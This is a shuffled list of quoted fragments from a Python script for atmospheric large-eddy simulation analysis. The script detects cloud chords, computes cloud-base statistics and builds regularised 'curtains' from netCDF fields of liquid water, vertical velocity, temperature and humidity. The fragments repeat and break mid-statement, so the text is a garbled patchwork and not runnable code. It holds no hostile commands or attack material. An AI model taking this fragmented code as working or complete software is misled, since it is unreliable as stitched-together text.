"scaling_factor_y_prof_ext, kind='nearest') scaling_factor_x_inter = f_x(z_reg_mid) scaling_factor_y_inter = f_y(z_reg_mid) print('Scaling flag",
"set the maximum cbl height to 60 % of the",
"just set it really high where there is no cloud.",
"second half if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else: scaling_factor =",
"the cloudy cells are right next to each other they",
"np.transpose(var_3d, (0, 2, 1)) #globals().update(locals()) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d",
"indexes #Originally only cared if they fulfilled cloud criteria, but",
"bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0 #Now we",
"data_dim_flag==3: save_string_base = save_string_base+'_sf'+str(scale_flag) if N_it_min>0: save_string_base = save_string_base+'_Nmin'+str(N_it_min) if",
"contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now calculating the var at",
"flag is used if anomaly_flag==1: #because the vectors don't perfectly",
"',it) ql_3d = grab_3d_field(file_ql ,it,'ql') w_3d = grab_3d_field(file_w ,it,'w') qt_3d",
"cloud base height to calculate either w/w*, thl'/thl*, or qt'/qt*",
"=len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #for col in filename_column: n_iter",
"is the same as the next index in total, if",
"empty fields over to the chord searcher print('skipping timestep: ',it,'",
"= np.linspace(-0.5-curtain_extra,0.5+curtain_extra ,n_t_reg+1) t_reg_mid = np.linspace(-0.5-curtain_extra+d_reg/2,0.5+curtain_extra-d_reg/2 ,n_t_reg) z_reg_bound = np.linspace(0,1.5",
"w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d = np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d =",
"#Full list of variables to analyze is unclear, I will",
"chords. If data_dim_flag=3 it will jump to the y direction",
"Can't think of a good way to do this, will",
"nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag == 1: #Now",
"ttiimmee.time() dz = 25.0 #39.0625 #should be overwritten after the",
"w_x_low_z_high #f = interp1d(z_reg_orig, var_orig_col, kind='next') f = interp1d(z_reg_orig, var_orig_col,",
"file_prof['z'][:] dz = z_prof[1]-z_prof[0] total_surf_buoy_flux = file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1]",
"t_cloudy_idx < len(cbl_cl_idx)-1:# and n_curtain<100*it: ####################################GO HERE TO SET MAXIMUM",
"'N_it_min':N_it_min, 'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to an inner",
"= 0 chord_idx_list = [] print('iterating through step ',it,'which contains",
"print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that w_x_low_z_high we have to",
"+= 1 time3 = ttiimmee.time() print('iterable: ',it) print('n_chords: ',n_chords) print('number",
"= file_prof[reg_var][:,:] #needed for anomaly processing #Just grabbing this to",
",it,'qt') thl_3d = grab_3d_field(file_thl ,it,'thl') #Here we have to do",
"= 0 ): # reg_var = variable that will be",
"than t_min or higher than t_max seconds it isn't #I",
"use idx_beg_curtain as one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d =",
"data_dim_flag==1 # 1 the ref_lvl used is determined from the",
"= 0.#No gaps allowed! t_min = 0 t_max = 1e9",
"this might break the memory bank #want to keep the",
"var_curtain_bin_sum[bin_idx,:,:] + var_curtain_tmp if np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] +=",
"at 1 d_z_tmp = 1.0/z_idx_base[i] nz = var_orig_col.shape[0] z_reg_orig_top =",
"= np.floor(LCL/dz) #now calculate the cbl top for each profile",
"idx_beg_curtain = (np.abs(t_1d - (time_beg_chord-curtain_extra*(time_end_chord-time_beg_chord)))).argmin()-1 idx_end_curtain = (np.abs(t_1d - (time_end_chord+curtain_extra*(time_end_chord-time_beg_chord)))).argmin()+2",
"1 t_chord_end = t_cloudy_idx #Checking if it fulfils chord criteria",
"+= 1 w_var = w2[tt,z] #w_var = np.var(w_1d[z,:]) #Mimimum of",
"cloudy timesteps and detect chords #If they fulful chord time",
"added smoother to hopefully avoid impact of harsch jumps #2019-03-28:",
"it only works with 3D data and thus all surface",
"avoid issues later on I set the maximum cbl height",
"anymore somehow. Now I just set it really high where",
"t_min = 0.0 t_max = 1e9 cell_min = 3 #Minimal",
"= file_col.variables['ql'][:] ql_2d = ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) thl_2d",
"directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data to '+save_string) if",
"plots pre and post regularization plots of reg_var # data_dim_flag:",
"to do that call the function repeatedly #Should be able",
"timestep is lower than t_gap it counts as the same",
"of harsch jumps #2019-03-28: Added simplified version for base_smoothing_flag ==",
"w from -10 to 10 and a 0.1 spacing var_hist_sum=np.zeros(N_bins)",
"data is a 3D field it will always go over",
"if len(cbl_cl_idx)>0: #Now calculating the var at cloud base var_cl_base=var_2d[cl_base[cbl_cl_idx]-1,cbl_cl_idx]",
"= np.mean(thlflux_s_1d) boundary_scaling = surf_flux/w_star var_cl_base = var_cl_base/boundary_scaling #Calculating the",
"print(z_idx_base[i]) print(z_reg_orig) print(z_reg_mid) var_t_low_z_high[i-idx_beg_curtain,:] = var_reg_inter #Now that w_x_low_z_high we",
"calculated here if required. Is skipped if there are less",
"= t_1d[idx_end_curtain] chord_cells = t_chord_end-t_chord_begin curtain_cells = idx_end_curtain-idx_beg_curtain #If curtain",
"the chord base using the 25 percentile in agreement with",
"of cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.) surf_qt_flux",
"reference lvl ref_idx = np.mean(cl_base[cbl_cl_idx]) if scale_flag == 1: #a",
"= [] chord_thl_75 = [] chord_qt = [] chord_qt_25 =",
"250, curtain_extra = 1.0, chord_max = 1e9, boundary_scaling_flag = 0",
"print('total run time of proc_chords in minutes: ',(time_end-time_begin)/60.) print(':') print(':')",
"gaps. t_cloudy_idx = 0 #n_chords = 0 chord_idx_list = []",
"number of cells needed per chord curtain_min = 10 #Minimal",
"be indepenent of wind direction (right?) #Similarly, no basedefinition is",
"profile print('calculating cbl height from profile file') T = file_prof['thl'][:,0]",
"= [] chord_length = [] chord_duration = [] chord_time =",
"chord_w_per_up = np.zeros([0,n_percentiles]) #This now a bit trickier then for",
"percentile of cloud base surf_b_flux = np.mean(bflux_s_1d[idx_beg_chord:idx_end_chord]) w_star = (tmp_base_height*surf_b_flux)**(1./3.)",
"as one. i=idx_beg_curtain d_z_tmp = 1.0/z_idx_base[i] var_orig_2d = input_2d_field[:,idx_beg_curtain:idx_end_curtain] nz",
"flag 1: scaling factor_x: ',scaling_factor_x,' scaling factor_y: ',scaling_factor_y, ' int(ref_idx):",
"at the beginning and end, because for the interpolation a",
"seeing if we are in the first or second half",
"scaling is used, the variable is scaled accordingly #Only called",
"= ql_2d.transpose() t_1d = file_col.variables['time'][:] print('t_1d',t_1d) #Load the var file,",
"= ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting lowest cloud cell is",
"by 1/(time_end_chord-time_beg_chord) t_reg_orig = t_1d[idx_beg_curtain:idx_end_curtain]-(time_beg_chord+time_end_chord)/2. t_reg_orig = t_reg_orig/(time_end_chord-time_beg_chord) #Now we",
"vectors don't perfectly align qt_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() #",
"directory_input+date+'/qt.nc' filename_thl = directory_input+date+'/thl.nc' file_w = Dataset(filename_w,read='r') file_ql = Dataset(filename_l,read='r')",
"which is constant everywhere bflux_s_1d = t_1d*0 + total_surf_buoy_flux[it] qtflux_s_1d",
"for each time slice, is needed for scale_flag # scale_flag:",
"column, 3 = 3D snapshot # time_slice_curtain: 0 only puts",
"= sum(z_idx_base[i-N:i+N])/(2*N) z_idx_base[:] = z_idx_base_smooth[:] if base_smoothing_flag==2: #just put the",
"go through profile time snapshots and allocate the closest full",
"strict, no gaps allowed! t_min = 0.0 t_max = 1e9",
"a number of values which fulfills cell_min they are counted",
"t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) chord_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] else: chord_z_min =",
"y direction when chord_max/2 is reached # boundary_scaling_flag: 0 nothing,",
"= np.meshgrid(t_reg_orig,z_reg_mid) #seems not to be needed var_t_low_z_high = np.zeros([curtain_cells,n_z_reg])",
"############################################################################################################################## if n_chords == int(chord_max/2): t_cloudy_idx = int(len(cbl_cl_idx)/2) t_cloudy_idx +=",
"step ',it,'which contains ',len(cbl_cl_idx),'cloudy columns') if len(cbl_cl_idx)>0: #Now calculating the",
"it a nested function var_curtain_tmp = (func_curtain_reg(var_2d)).transpose() if boundary_scaling_flag ==",
"- 273.15) / (T - 29.65 )) #rel_hum = np.asmatrix(qt_pressure/sat_qv)[0]",
"it fulfils chord criteria regaring time #we also added a",
"xr #turned into a function #removed the possibility to loop",
"col in filename_column: n_iter = min(n_iter,N_it_max) for it in range(N_it_min,n_iter):",
"cells needed to convert into a curtain # #1D clustering",
"xr_dataset.to_netcdf(save_string) print('saved beard data to '+save_string) if size_bin_flag==1: xr_dataset =",
"= 20 t_min = 30 t_max = 120000 cell_min =",
"base lower than the max height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary",
"the columns of the original curtain a vertical interpolation is",
"np.zeros([N_bins]) n_curtain_bin_up = np.zeros([N_bins]) n_curtain_bin_dw = np.zeros([N_bins]) var_curtain_bin_sum = np.zeros([N_bins,n_t_reg,n_z_reg])",
"= w_2d if reg_var == 'ql': var_2d = ql_2d #Should",
"save_string_base+'_Nmin'+str(N_it_min) if N_it_max<1e9: save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base =",
"with a simple 5 cell running mean, #But now we",
"surf_thl_flux/w_star chord_w_star.append(w_star ) chord_thl_star.append(thl_star ) chord_qt_star.append(qt_star ) chord_w_base.append(np.mean(w_2d[cl_base[ch_idx_l],ch_idx_l])) chord_w.append(np.mean(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_thl.append(np.mean(thl_2d[cl_base[ch_idx_l]-1,ch_idx_l]))",
"be needed, as all chord properties should be indepenent of",
"base_percentile = 25, special_name='', scale_flag=2, chord_times = 0, anomaly_flag =",
"directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile =",
"height cbl_cl_idx = np.where((cl_base-cbl_1d[:nt])*dz<0)[0] cbl_cl_binary = cl_base*0 cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling",
"= 0.0 t_max = 1e9 cell_min = 3 #Minimal number",
"scale_flag=0 #Creating dictionary to save all properties settings_dict = {",
"w_x_low_z_high f_x = interp1d(z_reg_orig, scaling_factor_x_prof_ext, kind='nearest') f_y = interp1d(z_reg_orig, scaling_factor_y_prof_ext,",
"#to get anomalies of thl and qt we subtract the",
"= 3 #Minimal number of cells needed per chord #",
"var_curtain_bin_dw_sum.transpose()/n_curtain_bin_dw)}, coords={'regularized time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up",
"= np.hstack([ql_2d ,np.array(ql_3d.reshape((nz,nx*ny)))]) var_2d = np.hstack([var_2d ,np.array(var_3d.reshape((nz,nx*ny)))]) #This might save",
"a bit trickier then for the 3D version. Will have",
"of a good way to do this, will throw up",
"and have a number of values which fulfills cell_min they",
"75']) df.to_pickle(filename_chord_panda) time_end = ttiimmee.time() print('total run time of proc_chords",
"'curtain_extra':curtain_extra } #moved to an inner function to avoid issues",
"print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"range(len(time_prof)): cbl_1d[abs(t_1d-time_prof[tt])<dt_2] = cbl_1d_prof[tt] bflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_buoy_flux[tt] qtflux_s_1d[abs(t_1d-time_prof[tt])<dt_2] = total_surf_qt_flux[tt]",
"iterative, V_ref, time_resolution',it, str(V_ref)[:4], str(time_resolution)[:4] ) #fake t vector, t_1d",
"at the surface if t_chord_end-t_chord_begin>cell_min: chord_z_min = np.min(cl_base[cbl_cl_idx[t_chord_begin:t_chord_end]]) ch_duration =",
"different method using nans that doesn:t work anymore somehow. Now",
"the lower time resolution of the profile, #Then latter apply",
"var_orig_col = input_2d_field[:,i] #Regularizing the z axes so that cloud",
"interp1d(z_reg_orig, var_orig_col, kind='next') f = interp1d(z_reg_orig, var_orig_col, kind='nearest') try: var_reg_inter",
"#proc_beard_regularize for generating beards #proc_pdf saves pdfs of a variable",
"on, timestep: ',tt) cbl_1d_prof[tt] = math.floor(nz*0.6) print('resulting indexes of cbl",
"u and v and their scaling u_ref_prof = file_prof['u'][it,:] v_ref_prof",
"#A simple script which calculates a histogram below the cloud",
"idx:',np.percentile(cl_base[ch_idx_l],base_percentile),'clbase/4:',cl_base_25_idx[0],'clbase3/4:',cl_base_75_idx[0]) chord_thl_25.append(np.mean(thl_2d[cl_base_25_idx,ch_idx_l])) chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l]",
"= directory_output+ reg_var+save_string_base +'.nc' xr_dataset.to_netcdf(save_string) print('saved beard data to '+save_string)",
"v_ref_prof/V_ref_prof #Using the mean cloud base height as the reference",
"#I will try lists first, which I will then convert",
"for original resolution #It is expected to go a bit",
"range(N_it_min,n_iter): print('n_chords: ',n_chords) time1 = ttiimmee.time() if data_dim_flag ==1: print('loading",
"= file_prof['w2'][:,:] thl_prof = file_prof['thl'][:,:] qt_prof = file_prof['qt'][:,:] nz_prof =",
"variance plus 300 m cbl_1d_prof[tt] = min(z+300/dz,LCL_index[tt]) #To avoid issues",
"= np.zeros((nz,1)) w_2d = np.zeros((nz,1)) thl_2d = np.zeros((nz,1)) qt_2d =",
"speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ### Now appending chord",
"percentiles percentiles = np.array([5,10,35,50,65,90,95]) #1D clustering parameters in seconds, taken",
"0 n_curtain_up = 0 n_curtain_dw = 0 if size_bin_flag==1: N_bins",
"it to the mean one and track one more curtain",
"z axis d_z_tmp = 1.0/ref_idx nz = scaling_factor_x_prof.shape[0] z_reg_orig_top =",
"else: #If no clouds are present we pass a very",
"= np.asmatrix(qt_pressure/sat_qv)[0] rel_hum = qt_pressure/sat_qv #Dewpoint A = 17.27 B",
",np.array(ql_3d.reshape((nz,nx*ny)))]) thl_2d = np.hstack([thl_2d ,np.array(thl_3d.reshape((nz,nx*ny)))]) qt_2d = np.hstack([qt_2d ,np.array(qt_3d.reshape((nz,nx*ny)))]) #Should",
"by u/sqrt(u^2+v^2) and flips the vector if u>0. Is set",
"time2 = ttiimmee.time() print('loading time:',(time2-time1)*1.0,) ### Detecting lowest cloud cell",
"grid with the correct vertical but low/original horizontal/time resolution #mesh_t_low_z_high_x,mesh_t_low_z_high_z",
"curtain to point upwind. #TODO #plot_flag disabled for the mean",
"criteria regaring time #we also added a minimum height of",
"t_1d*0 #dt_1d[1:] = t_1d[1:]-t_1d[:-1] else: #If no clouds are present",
"set it really high where there is no cloud. for",
"z_idx_base_default for i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord and",
"= directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df = pd.DataFrame(data",
"y direction if half of max chords reached ############################################################################################################################## if",
"thl_2d[:,:] = (thl_2d.transpose() - thl_prof[it,:]).transpose() #to get the fake time",
"to the full 1d time vec #First loading surface variables",
"< len(cbl_cl_idx)-1 and (cbl_cl_idx[t_cloudy_idx+1]==cbl_cl_idx[t_cloudy_idx]+1 or t_cbl_cl[t_cloudy_idx+1]-t_cbl_cl[t_cloudy_idx]<t_gap): t_cloudy_idx += 1 t_chord_end",
"vectors don't perfectly align thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] = (tmp_matrix.transpose() - tmp_vector).transpose() tmp_matrix",
"over x and y directions #Two different scale_flags added to",
"#Similarly, no basedefinition is needed, all values are relative to",
"proc_chords is used for chords #proc_beard_regularize for generating beards #proc_pdf",
"#It is expected to go a bit beyond -1.5 and",
"np.transpose(thl_3d, (0, 2, 1)) w_2d = np.hstack([w_2d ,np.array(w_3d.reshape((nz,nx*ny)))]) ql_2d =",
"time of proc_beard_regularize in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print(':') #Replacing",
"are present we pass a very short empty fields over",
"beards by their chord_lenth. Currently using 8 bins of 250",
"0 #Index of minimum z_vlvl of the cbl #Flag clean",
"ch_duration = t_cbl_cl[t_chord_end]-t_cbl_cl[t_chord_begin] chord_length = ch_duration*V_ref #if scale_flag==0: # scaling_factor=1.",
"enable interpolation z_reg_orig = np.hstack([[0],z_reg_orig]) var_orig_2d = np.vstack([var_orig_2d[0,:],var_orig_2d]) f =",
"the var file, even if means that we doable load",
"t_1d[idx_end_chord] #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_chord_end])) #list of relevant chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end])",
"= total_surf_thl_flux[tt] #to get anomalies we subtract the closet mean",
"#Finally add it to the mean one and track one",
"time':t_reg_mid, 'regularized height':z_reg_mid, 'length':mid_bin_size}) xr_dataset[reg_var].attrs['n'] =n_curtain_bin xr_dataset[reg_var+'_up'].attrs['n'] =n_curtain_bin_up xr_dataset[reg_var+'_dw'].attrs['n'] =n_curtain_bin_dw",
"profile for tt in range(len(time_prof)): #globals().update(locals()) tmp_matrix = thl_2d[:,abs(t_1d-time_prof[tt])<dt_2] tmp_vector",
"= ttiimmee.time() print('total run time of proc_chords in minutes: ',(time_end-time_begin)/60.)",
"histograms of w from -10 to 10 and a 0.1",
"try to keep it at least somewhat general with a",
"= np.sqrt(u_ref**2+v_ref**2) time_resolution = dx/V_ref print('time iterative, V_ref, time_resolution',it, V_ref,",
"the same thing with the transposed field, use to be",
"clean up if data_dim_flag==1: scale_flag=0 #Creating dictionary to save all",
"= 30 t_max = 120000 cell_min = 3 #Minimal number",
"which constant everywhere cbl_1d = t_1d*0 cbl_1d[:] = cbl_1d_prof[it] #The",
"chord must include at least cell_min cells, because it is",
"determined from the mean cloud base height # 2, similar",
"qt_2d = file_col.variables['qt'][:] qt_2d = qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d",
"bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0: #print('bin_idx,chord_length',bin_idx,chord_length) n_curtain_bin[bin_idx] += 1 var_curtain_bin_sum[bin_idx,:,:]",
"data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof) #Setting curtains for",
"over, and a chordlength is created which is a list",
"that call the function repeatedly #Full list of variables to",
"to do that call the function repeatedly #Full list of",
"cbl_cl_binary[cbl_cl_idx]=1 t_cbl_cl=t_1d[cbl_cl_idx] #Scaling between x and y is calculated here",
"fit model output exactly with not gap possible # anomaly_flag:",
"grid. d_reg = 0.005 n_z_reg = int(1.5/d_reg) n_t_reg = int((1+2*curtain_extra)/d_reg)",
"of relevant chord indexes ch_idx_l = list(cbl_cl_idx[t_chord_begin:t_chord_end]) #getting V_ref if",
"t_cloudy_idx = 0 #n_chords = 0 chord_idx_list = [] print('iterating",
"or timesteps if data_dim_flag==1: n_iter =len(filename_column) if data_dim_flag==3: n_iter =len(time_prof)",
"#just put the percentile back z_idx_base[:] = z_idx_base_default #default version",
"1 plots pre regularization plots, currently dissabled # data_dim_flag: 1",
"file_prof['bflux'][:,1] total_surf_thl_flux = file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] time_prof = file_prof['time'][:]",
"var_3d = np.transpose(var_3d, (0, 2, 1)) #globals().update(locals()) w_2d = np.hstack([w_2d",
"1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the interpolation stuff #Getting the",
"'size_bin_flag':size_bin_flag, 'bin_size':bin_size, 'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to an inner function",
"import xarray as xr #turned into a function #removed the",
"into a function #removed the possibility to loop over multiple",
"#import matplotlib.pyplot as plt import pandas as pd import gc",
"for i in range(idx_beg_chord,idx_end_chord): if i>idx_beg_chord-1 and i<idx_end_chord and cl_base[i]<cbl_1d[i]:",
"np.mean(w_tmp)>0.: n_curtain_bin_up[bin_idx] += 1 var_curtain_bin_up_sum[bin_idx,:,:] += var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx]",
"close to mid size bin bin_idx = np.where(np.abs(chord_length-mid_bin_size)<125)[0] if bin_idx.size>0:",
"file_prof['thlflux'][:,1] total_surf_qt_flux = file_prof['qtflux'][:,1] print('dz: ',dz) time_prof = file_prof['time'][:] cbl_1d_prof",
"column files. Used for testing things quickly # N_it_min =",
"',filename_chord_panda) print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':') print(':')",
"per curtain #value used to determine existence of cloud ql_min",
"total_surf_qt_flux[it] thlflux_s_1d = t_1d*0 + total_surf_thl_flux[it] time2 = ttiimmee.time() print('loading",
"asign them one by one to w_x_low_z_high #f = interp1d(z_reg_orig,",
"if t_chord_end-t_chord_begin>cell_min-1: n_chords += 1 #chord_idx_list.append(list(cbl_cl_idx[t_chord_begin:t_cloudy_idx])) #Here we start the",
"= qt_2d.transpose() u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d =",
"# N_it_min = start number of iterables, 3D timesteps or",
"#assigining column value var_orig_col = input_2d_field[:,i] #Regularizing the z axes",
"1e-5 z_min = 10 #Index of minimum z_vlvl of the",
"[:,n_prof]= abs(scaling_factor_prof[n_prof])*var_curtain_tmp[:,n_prof] #Now adding the var_curtain_tmp to the sums var_curtain_sum",
"w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per = np.percentile(w_base_vec,percentiles) if len(w_base_vec[w_base_vec>0.0])>0: tmp_w_per_up = np.percentile(w_base_vec[w_base_vec>0.0],percentiles)",
"var_curtain_tmp elif np.mean(w_tmp)<0.: n_curtain_bin_dw[bin_idx] += 1 var_curtain_bin_dw_sum[bin_idx,:,:] += var_curtain_tmp else:",
"Dataset(filename_thl,read='r') file_qt = Dataset(filename_qt,read='r') [nz, nx, ny] = get_zxy_dimension(filename_l,'ql') filename_prof=glob.glob(directory_input+date+'/*default?0*.nc')[0]",
"= np.array(w_3d.reshape((nz,nx*ny))) ql_2d = np.array(ql_3d.reshape((nz,nx*ny))) qt_2d = np.array(qt_3d.reshape((nz,nx*ny))) thl_2d =",
"= t_1d*0 bflux_s_1d = t_1d*0 qtflux_s_1d = t_1d*0 thlflux_s_1d= t_1d*0",
"import time as ttiimmee from scipy.interpolate import interp1d from scipy.interpolate",
"n_chord = 0 n_curtain_up = 0 n_curtain_dw = 0 #for",
"of proc_chords in minutes: ',(time_end-time_begin)/60.) print(':') print(':') print('chordlength properties saved",
"'N_bins':N_bins, 'curtain_extra':curtain_extra } #moved to an inner function to avoid",
"= [] #mean over updrafts chord_w_base = [] chord_w_star =",
"var_3d = grab_3d_field(file_var ,it,reg_var) #Here we have to do all",
"np.zeros([n_t_reg,n_z_reg]) n_curtain = 0 n_curtain_up = 0 n_curtain_dw = 0",
"data is loaded dx = 25.0 date = date_str n_percentiles",
"base is at 1 d_z_tmp = 1.0/z_idx_base[i] nz = var_orig_col.shape[0]",
"height, but spit out a warning if it happens if",
"fluxes and cloud base height to calculate either w/w*, thl'/thl*,",
"for any 3D variable as long as it is named",
"if half of max chords reached ############################################################################################################################## if n_chords ==",
"the cloud base speeds if data_dim_flag==1: u_ref=np.mean(u_2d[cl_base[ch_idx_l],ch_idx_l]) v_ref=np.mean(v_2d[cl_base[ch_idx_l],ch_idx_l]) V_ref=np.sqrt(u_ref**2+v_ref**2) ###",
"d_z_tmp/2 z_reg_orig = np.linspace(0+d_z_tmp/2,z_reg_orig_top,nz) #HAve to add 0 to the",
"profiles and interpolation them onto the regularized z axis d_z_tmp",
"as np import math from netCDF4 import Dataset import os",
"chord_thl_75.append(np.mean(thl_2d[cl_base_75_idx,ch_idx_l])) chord_qt.append(np.mean(qt_2d[cl_base[ch_idx_l]-1,ch_idx_l])) chord_qt_75.append(np.mean(qt_2d[cl_base_75_idx,ch_idx_l])) chord_qt_25.append(np.mean(qt_2d[cl_base_25_idx,ch_idx_l])) chord_w_flux.append(np.sum(w_2d[cl_base[ch_idx_l]-1,ch_idx_l])) w_base_vec = w_2d[cl_base[ch_idx_l]-1,ch_idx_l] chord_w_up.append(np.mean(w_base_vec[w_base_vec>0.0])) tmp_w_per",
"'directory_input':directory_input, 'data_dim_flag':data_dim_flag, 'base_smoothing_flag':base_smoothing_flag, 'plot_curtains_flag' :plot_curtains_flag, 'base_percentile':base_percentile, 'special_name':special_name, 'scale_flag':scale_flag, 'chord_times':chord_times, 'anomaly_flag':anomaly_flag,",
"if chord base has a positive or negative w, then",
"#now calculate the cbl top for each profile time for",
"base_smoothing_flag=2, plot_curtains_flag = 0, base_percentile = 25, special_name='', scale_flag=2, chord_times",
"30 t_max = 120000 cell_min = 3 #Minimal number of",
"save any memory though del w_3d del ql_3d del thl_3d",
"filename_chord_panda = directory_output+save_string_base+'.pkl' data_for_panda = list(zip(chord_timesteps,chord_duration,chord_length,chord_height,chord_w_base,chord_w,chord_w_flux,chord_time,chord_w_up,chord_w_per,chord_w_per_up, chord_w_star,chord_thl_star,chord_qt_star, chord_thl,chord_thl_25,chord_thl_75,chord_qt,chord_qt_25,chord_qt_75)) df =",
"= 0 #n_chords = 0 chord_idx_list = [] print('iterating through",
"field or the beginning extend before #I added 2 cells",
"direction if half of max chords reached ############################################################################################################################## if n_chords",
"everything available, but this might break the memory bank #want",
"= int(len(cbl_cl_idx)/2) t_cloudy_idx += 1 time3 = ttiimmee.time() print('curtain processing:',(time3-time2)/60.0,'minutes')",
"'w', date_str='20160611', directory_input='/data/testbed/lasso/sims/', directory_output = 'data_curtains/', data_dim_flag=1, base_smoothing_flag=2, plot_curtains_flag =",
"= ch_duration*V_ref #if scale_flag==0: # scaling_factor=1. #find index of bin",
"#if date=='bomex': # filename_prof=directory_input+date+'/bomex.default.0000000.nc' file_prof = Dataset(filename_prof,read='r') n_chords = 0",
"boundary_scaling_flag = 1, range_var = [-10,10] ): #We are starting",
"= file_prof['p'][:,0]*0.0+99709 qt = file_prof['qt'][:,0] w2 = file_prof['w2'][:,:] nz_prof =",
"output by u/sqrt(u^2+v^2) and flips the vector if u>0. Is",
"xr_dataset = xr.Dataset( data_vars = {reg_var :(('regularized height', 'regularized time'),",
"file_prof['v'][it,:] V_ref_prof = np.sqrt(u_ref_prof**2+v_ref_prof**2) scaling_factor_x_prof = u_ref_prof/V_ref_prof scaling_factor_y_prof = v_ref_prof/V_ref_prof",
"= 3 #Minimal number of cells needed per chord ql_min",
"things quickly # N_it_min = start number of iterables, 3D",
"if data_dim_flag ==3: if sum(file_prof['ql'][it,:])>0.0: print('loading timestep: ',it) ql_3d =",
"var_2d[:,:] = (var_2d.transpose() - var_prof[it,:]).transpose() #to get the fake time",
"reg_var=='qt': surf_flux = np.mean(qtflux_s_1d[idx_beg_chord:idx_end_chord]) boundary_scaling = surf_flux/w_star if reg_var=='thl': thl_flux",
"t in range(nt): if np.max(ql_2d[:,t])>ql_min : cl_base[t]=np.argmax(ql_2d[:,t]>1e-6) else: cl_base[t]=10000000 cl_base=cl_base.astype(int)",
"use reg_var as it is. 1 use reg_var - profile.",
"t_1d = file_col.variables['time'][:] u_2d = file_col.variables['u'][:] u_2d = u_2d.transpose() v_2d",
"= t_cloudy_idx #now connecting all cloudy indexes #Originally only cared",
"cell_min they are counted as a chord #and their properties",
"save_string_base = save_string_base+'_Nmax'+str(n_iter) if boundary_scaling_flag==1: save_string_base = 'star'+save_string_base save_string_base =",
"requirements and have a number of values which fulfills cell_min",
"saved as panda in ',filename_chord_panda) print(':') print(':') print(':') print(':') print(':')",
"too lazy to pass on all my variables to func_curtain_reg",
"possibility to loop over multiple dates, if you want to",
"height to 60 % of the domain height, but spit",
"or second half if idx_end_curtain<nt/2: scaling_factor = 2*scaling_factor_x else: scaling_factor",
"to always go over x and y directions #TODO #plot_flag",
